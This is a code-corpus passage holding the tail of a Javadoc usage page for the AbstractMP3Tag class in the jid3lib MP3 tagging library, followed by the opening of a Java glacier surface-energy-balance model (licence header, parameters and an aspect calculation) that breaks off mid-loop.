<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_4.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_4.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_4.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_4.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_4.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_4.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_3.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_3.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_3.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_3.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_3.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_3.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_2.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_2.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_2.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_2.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v2_2.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_2.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v1_1.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v1_1.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v1_1.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v1_1.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v1_1.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v1_1.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v1.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v1.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v1.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v1.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>ID3v1.</B><B><A HREF="../../../../org/farng/mp3/id3/ID3v1.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>AbstractID3v2.</B><B><A HREF="../../../../org/farng/mp3/id3/AbstractID3v2.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>AbstractID3v2.</B><B><A HREF="../../../../org/farng/mp3/id3/AbstractID3v2.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>AbstractID3v2.</B><B><A HREF="../../../../org/farng/mp3/id3/AbstractID3v2.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> abstractMP3Tag)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Constructors in <A HREF="../../../../org/farng/mp3/id3/package-summary.html">org.farng.mp3.id3</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_4.html#ID3v2_4(org.farng.mp3.AbstractMP3Tag)">ID3v2_4</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Creates a new ID3v2_4 object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_3.html#ID3v2_3(org.farng.mp3.AbstractMP3Tag)">ID3v2_3</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Creates a new ID3v2_3 object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v2_2.html#ID3v2_2(org.farng.mp3.AbstractMP3Tag)">ID3v2_2</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Creates a new ID3v2_2 object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v1_1.html#ID3v1_1(org.farng.mp3.AbstractMP3Tag)">ID3v1_1</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Creates a new ID3v1_1 object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/id3/ID3v1.html#ID3v1(org.farng.mp3.AbstractMP3Tag)">ID3v1</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Creates a new ID3v1 object.</TD>
</TR>
</TABLE>
<P>
<A NAME="org.farng.mp3.lyrics3"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
Uses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/lyrics3/package-summary.html">org.farng.mp3.lyrics3</A></FONT></TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Subclasses of <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> in <A HREF="../../../../org/farng/mp3/lyrics3/package-summary.html">org.farng.mp3.lyrics3</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/lyrics3/AbstractLyrics3.html" title="class in org.farng.mp3.lyrics3">AbstractLyrics3</A></B></CODE>
<BR>
Super class for both Lyrics3v2 and Lyrics3v2 tags</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v1.html" title="class in org.farng.mp3.lyrics3">Lyrics3v1</A></B></CODE>
<BR>
<TABLE border=0> <TBODY> <TD class=h1> Lyrics3 made easy </TBODY> <BR> <TABLE
border=0> <TBODY> <TD class=h2>What is Lyrics3?</TBODY> <TABLE border=0> <TBODY> <TR
vAlign=top> </TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> class</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v2.html" title="class in org.farng.mp3.lyrics3">Lyrics3v2</A></B></CODE>
<BR>
<TABLE border=0> <TBODY> <TD class=h2>What is Lyrics3 v2.00?</TBODY> <TABLE border=0> <TBODY>
<TR vAlign=top> </TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Methods in <A HREF="../../../../org/farng/mp3/lyrics3/package-summary.html">org.farng.mp3.lyrics3</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>Lyrics3v2.</B><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v2.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>Lyrics3v2.</B><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v2.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>Lyrics3v2.</B><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v2.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>Lyrics3v1.</B><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v1.html#append(org.farng.mp3.AbstractMP3Tag)">append</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>Lyrics3v1.</B><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v1.html#overwrite(org.farng.mp3.AbstractMP3Tag)">overwrite</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B>Lyrics3v1.</B><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v1.html#write(org.farng.mp3.AbstractMP3Tag)">write</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> tag)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TD COLSPAN=2>Constructors in <A HREF="../../../../org/farng/mp3/lyrics3/package-summary.html">org.farng.mp3.lyrics3</A> with parameters of type <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v2.html#Lyrics3v2(org.farng.mp3.AbstractMP3Tag)">Lyrics3v2</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3tag)</CODE>
<BR>
Creates a new Lyrics3v2 object.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../org/farng/mp3/lyrics3/Lyrics3v1.html#Lyrics3v1(org.farng.mp3.AbstractMP3Tag)">Lyrics3v1</A></B>(<A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3">AbstractMP3Tag</A> mp3Tag)</CODE>
<BR>
Creates a new Lyrics3v1 object.</TD>
</TR>
</TABLE>
<P>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=3 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/farng/mp3/AbstractMP3Tag.html" title="class in org.farng.mp3"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html" target="_top"><B>FRAMES</B></A>
<A HREF="AbstractMP3Tag.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i>Copyright (c) 2004 Eric Farng</i>
</BODY>
</HTML>
|
ibnoe/steganography-dalam-file-music-mp3
|
stegaMP3/jid3lib-0.5.4/jid3lib-0.5.4/api/org/farng/mp3/class-use/AbstractMP3Tag.html
|
HTML
|
gpl-2.0
| 41,474
|
/**
*
* Distributed Surface Energy Balance (SEB) model source code (developed for my PhD)
* Copyright (C) 2013 Chris Williams
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* ****************************************************************************
*
* This is the compiled historical model, incluidng summer and winter
* precipitation algorithms.
*
* This code differs to the aspect fixed version of
* "Historical_Model_Precip_winter_snow_limit.java"
* code as all instances where hillshade has a value of 0 (midnight for most
* months, 6am for winter months etc.) are populate with a hillshade layer using
*
* store.getHillshade_Jan_midnight()
*
* This is reliant on the use of OpenConfig_historical_largeFiles.java which
* only sets the January midnight hillshade and doesn;t set the individual month
* and time zone layers where this hillshade condition is the case.
*
* NB/ THIS IS A WORK AROUND AND COULD BE DEALT WITH IN A MORE EFFICIENT MANNER!
*
* @author Chris Williams 17/4/13
*/
package energymodels;
import java.awt.FileDialog;
import java.awt.Frame;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.DecimalFormat;
import java.util.Iterator;
import java.util.ListIterator;
/**
*
* @author Chris
*/
public class Historical_Model_Aspect_Fixed_LARGE_FILES implements ActionListener {
private GUIPanel panel = null;
private Storage store = null;
Historical_Model_Aspect_Fixed_LARGE_FILES(GUIPanel panel, Storage store) {
this.panel = panel;
this.store = store;
}
@Override
public void actionPerformed(ActionEvent e) {
System.out.println("Historical model working");
double save_arrays = 4; // Set to 1, array saving code will be turned on
// | Set to 0, array saving code will be turned
// off
// | Set to 4 and Q surface will be saved
//***********************************
Iterator<Integer> iterator0 = store.getMonthFile_MAIN().iterator();
Iterator<Integer> iterator1 = store.getYearFile_MAIN().iterator();
Iterator<Double> iterator2 = store.getTemperatureFile().iterator();
Iterator<Double> iterator3 = store.getPrecipFile().iterator();
Iterator<Double> iterator4 = store.getPrecipSeasonList_MAIN().iterator();
Iterator<Double> iterator5 = store.getTauEstimateList().iterator();
Iterator<Integer> iterator6 = store.getYearFile_WinterPrecip().iterator();
Iterator<Double> iterator7 = store.get_Winter_PrecipFile().iterator();
Iterator<Double> iterator8 = store.get_Winter_MonthFile().iterator();
// ListIterator iterator6b = store.getYearFile_WinterPrecip().listIterator();
// ListIterator iterator7b = store.get_Winter_PrecipFile().listIterator();
// ListIterator iterator8b = store.get_Winter_MonthFile().listIterator();
// Loop counters
int Loop_counter = 0; //Must be initialized outside of loop
System.out.println("Let the historical model.....begin!");
//File f_stats = new File("F:/Melt_modelling/Historical_model_outputs_aspect_fixed/Historical_model_run_mean_stats.txt");
File f_stats = new File("C:/Users/Chris/Desktop/19262010/Historical_model_outputs_aspect_fixed/Historical_model_run_mean_stats.txt");
FileWriter fw_stats;
DecimalFormat df_stats = new DecimalFormat("#.####");
try {
BufferedWriter bw_stats = new BufferedWriter(new FileWriter(f_stats));
bw_stats.write("Loop number" + ", " + "Month" + ", " + "Year" + ", " + "Mean Radiation (Wm^-2)" + ", "
+ "Mean Psi (Wm^-2)" + ", " + "Mean Q (Wm^-2)" + ", "
+ "Mean glacier air temp. (deg C)" + ", " + "Mean snowfall (m)"
+ ", " + "Mean surface melt (m)" + ", "
+ "Mean volume change (m^3)");
bw_stats.newLine();
double NODATA_value = -9999;
// VARIABLES TO CHANGE FOR SENSITIVITY ANALYSIS
double ice_density = 900.0;
double summer_snow_density = 200.0; // Taken from Paterson (1994) (p9, table 2.1)
double winter_snow_density = 407.13; // Average density value from 2008 - 2011 snow pit analysis
double snow_wind_stripping_factor = 0.5; //
double psi_min = -19;
double c = 8.4;
double T_tip = +0.2;
double ice_albedo = 0.39;//0.39
double snow_albedo = 0.70;
//double threshold_snow_thickness_for_albedo = 0.05; // Subject to change - threshold for acquiring albedo from layer beneath
double snow_threshold = 1.5; // Temperature below which rain falls as snow
//double fresh_snow_density = 0.400; // Relative to 1.0 for water
System.out.println("Ice density: " + ice_density);
System.out.println("Summer snow density: " + summer_snow_density);
System.out.println("Winter snow density: " + winter_snow_density);
System.out.println("Snow stripping [wind] factor : " + snow_wind_stripping_factor);
System.out.println("Psi min: " + psi_min);
System.out.println("Variable c: " + c);
System.out.println("T_tip (Temp at which precip. falls as snow): " + T_tip);
System.out.println("Ice albedo: " + ice_albedo);
System.out.println("Snow_albedo: " + snow_albedo);
//System.out.println("Threshold for degradation of albedo according to snow thickness:" + threshold_snow_thickness_for_albedo);
/**
* Create empty surfaces for the summer and winter precipitation
* (these are populated in the iterator loops)
*/
double elevation1[][] = store.getElevation();
double elev_initial_size[][] = store.getElevation();
double summer_snow_thickness_INITIAL[][] = new double[elev_initial_size.length][elev_initial_size[0].length];
double winter_snow_thickness_INITIAL[][] = new double[elev_initial_size.length][elev_initial_size[0].length];
for (int i = 0; i < elevation1.length; i++) {
for (int j = 0; j < elevation1[i].length; j++) {
if (elevation1[i][j] != NODATA_value) {
summer_snow_thickness_INITIAL[i][j] = 0.0;
winter_snow_thickness_INITIAL[i][j] = 0.0;
} else {
summer_snow_thickness_INITIAL[i][j] = NODATA_value;
winter_snow_thickness_INITIAL[i][j] = NODATA_value;
}
}
}
store.setSummerSnowSurface(summer_snow_thickness_INITIAL);
store.setWinterSnowSurface(winter_snow_thickness_INITIAL);
/*
* Aspect calculation
*/
double aspectSurface[][] = new double[elev_initial_size.length][elev_initial_size[0].length];
double aspectA, aspectB, aspectC, aspectD, aspectE, aspectF, aspectG, aspectH, aspectI;
double aspect_dzdy, aspect_dzdx;
double aspect_pre;
double aspectDegree;
for (int i = 0; i < elevation1.length; i++) {
for (int j = 0; j < elevation1[i].length; j++) {
if (elevation1[i][j] != NODATA_value) {
// Try/catch blocks exist in case of "out of bounds exceptions"
// which are likely when running the neighborhood searches at the
// array edges - this will be called upon less when using the
// larger arrays populated with No_Data (i.e. -9999.0) values
//
// These assign the values to letters A-I, according to positions
// within the array assuming the structure of:
// A B C
// D E F
// G H I
try {
if ((elevation1[i - 1][j - 1] != NODATA_value)) {
aspectA = elevation1[i - 1][j - 1];
} else {
aspectA = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe0) {
aspectA = elevation1[i][j];
}
try {
if ((elevation1[i - 1][j] != NODATA_value)) {
aspectB = elevation1[i - 1][j];
} else {
aspectB = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe1) {
aspectB = elevation1[i][j];
}
try {
if ((elevation1[i - 1][j + 1] != NODATA_value)) {
aspectC = elevation1[i - 1][j + 1];
} else {
//error1 = ("C fail");//
aspectC = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe2) {
//error1 = ("C fail catch"); //
aspectC = elevation1[i][j];
}
try {
if ((elevation1[i][j - 1] != NODATA_value)) {
aspectD = elevation1[i][j - 1];
} else {
aspectD = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe3) {
aspectD = elevation1[i][j];
}
try {
if ((elevation1[i][j] != NODATA_value)) {
aspectE = elevation1[i][j];
} else {
aspectE = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe4) {
aspectE = elevation1[i][j];
}
try {
if ((elevation1[i][j + 1] != NODATA_value)) {
aspectF = elevation1[i][j + 1];
} else {
aspectF = elevation1[i][j];
}
} catch (ArrayIndexOutOfBoundsException aiobe5) {
aspectF = elevation1[i][j];
}
try {
if ((elevation1[i + 1][j - 1] != NODATA_value)) {
